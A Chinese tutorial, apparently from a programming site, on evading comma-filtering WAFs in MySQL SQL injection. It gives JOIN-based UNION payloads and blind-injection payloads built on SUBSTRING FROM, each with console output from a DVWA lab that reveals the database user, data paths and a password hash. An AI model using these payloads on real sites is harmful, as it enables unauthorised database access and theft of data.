SQL注入技巧之显注与盲注中过滤逗号绕过详析

前言

sql注入在很早很早以前是很常见的一个漏洞。后来随着安全水平的提高，sql注入已经很少能够看到了。但是就在今天，还有很多网站带着sql注入漏洞在运行。下面这篇文章主要介绍了关于SQL注入逗号绕过的相关内容，分享出来供大家参考学习，下面话不多说了，来一起看看详细的介绍吧

1.联合查询显注绕过逗号

在联合查询时使用 UNION SELECT 1,2,3,4,5,6,7..n 这样的格式爆显示位，语句中包含了多个逗号，如果有WAF拦截了逗号时，我们的联合查询不能用了。

绕过

在显示位上替换为常见的注入变量或其它语句

union select 1,2,3;union select * from ((select 1)A join (select 2)B join (select 3)C）;union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);

在数据库中演示联合查询

UNION开始是我们在URL中注入的语句，这里只是演示，在实际中如果我们在注入语句中有逗号就可能被拦截

mysql/' target='_blank'>mysql> select user_id,user,password from users union select 1,2,3;+---------+-------+----------------------------------+| user_id | user | password  |+---------+-------+----------------------------------+| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 || 1 | 2 | 3  |+---------+-------+----------------------------------+2 rows in set (0.04 sec)

不出现逗号，使用Join来注入

MySQL> select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select 3)C);+---------+-------+----------------------------------+| user_id | user | password  |+---------+-------+----------------------------------+| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 || 1 | 2 | 3  |+---------+-------+----------------------------------+2 rows in set (0.05 sec)

查询我们想要的数据

mysql> select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);;+---------+-------+-------------------------------------------------+| user_id | user | password   |+---------+-------+-------------------------------------------------+| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 || 1 | 2 | root@192.168.228.1 dvwa c:\phpStudy\MySQL\data\ |+---------+-------+-------------------------------------------------+2 rows in set (0.08 sec)

2.盲注中逗号绕过

MID 和substr 函数用于从文本字段中提取字符

mysql> select mid(user(),1,2);+-----------------+| mid(user(),1,2) |+-----------------+| ro |+-----------------+1 row in set (0.04 sec)

查询数据库用户名第一个字符的ascii码

mysql> select user_id,user,password from users union select ascii(mid(user(),1,2)),2,3;+---------+-------+----------------------------------+| user_id | user | password  |+---------+-------+----------------------------------+| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 || 114 | 2 | 3  |+---------+-------+----------------------------------+2 rows in set (0.05 sec)

盲注，通过猜ascii值

mysql> select user_id,user,password from users where user_id=1 and (select ascii(mid(user(),1,2))=115) ;Empty setmysql> select user_id,user,password from users where user_id=1 and (select ascii(mid(user(),1,2))=114) ;+---------+-------+----------------------------------+| user_id | user | password  |+---------+-------+----------------------------------+| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |+---------+-------+----------------------------------+1 row in set (0.04 sec)

逗号绕过SUBTTRING 函数

substring(str FROM pos)

从字符串str的起始位置pos 返回一个子串

mysql> select substring('hello' from 1);+---------------------------+| substring('hello' from 1) |+---------------------------+| hello  |+---------------------------+1 row in set (0.04 sec)mysql> select substring('hello' from 2);+---------------------------+| substring('hello' from 2) |+---------------------------+| ello  |+---------------------------+1 row in set (0.03 sec)

注入

mysql> select user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=114) ;Empty set//substring(user() from 2)为o//o的ascii为111，mysql> select user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=111) ;+---------+-------+----------------------------------+| user_id | user | password  |+---------+-------+----------------------------------+| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |+---------+-------+----------------------------------+1 row in set (0.03 sec)

总结

以上就是这篇文章的全部内容了，希望本文的内容对大家的学习或者工作具有一定的参考学习价值，如果有疑问大家可以留言交流，谢谢大家对脚本之家的支持。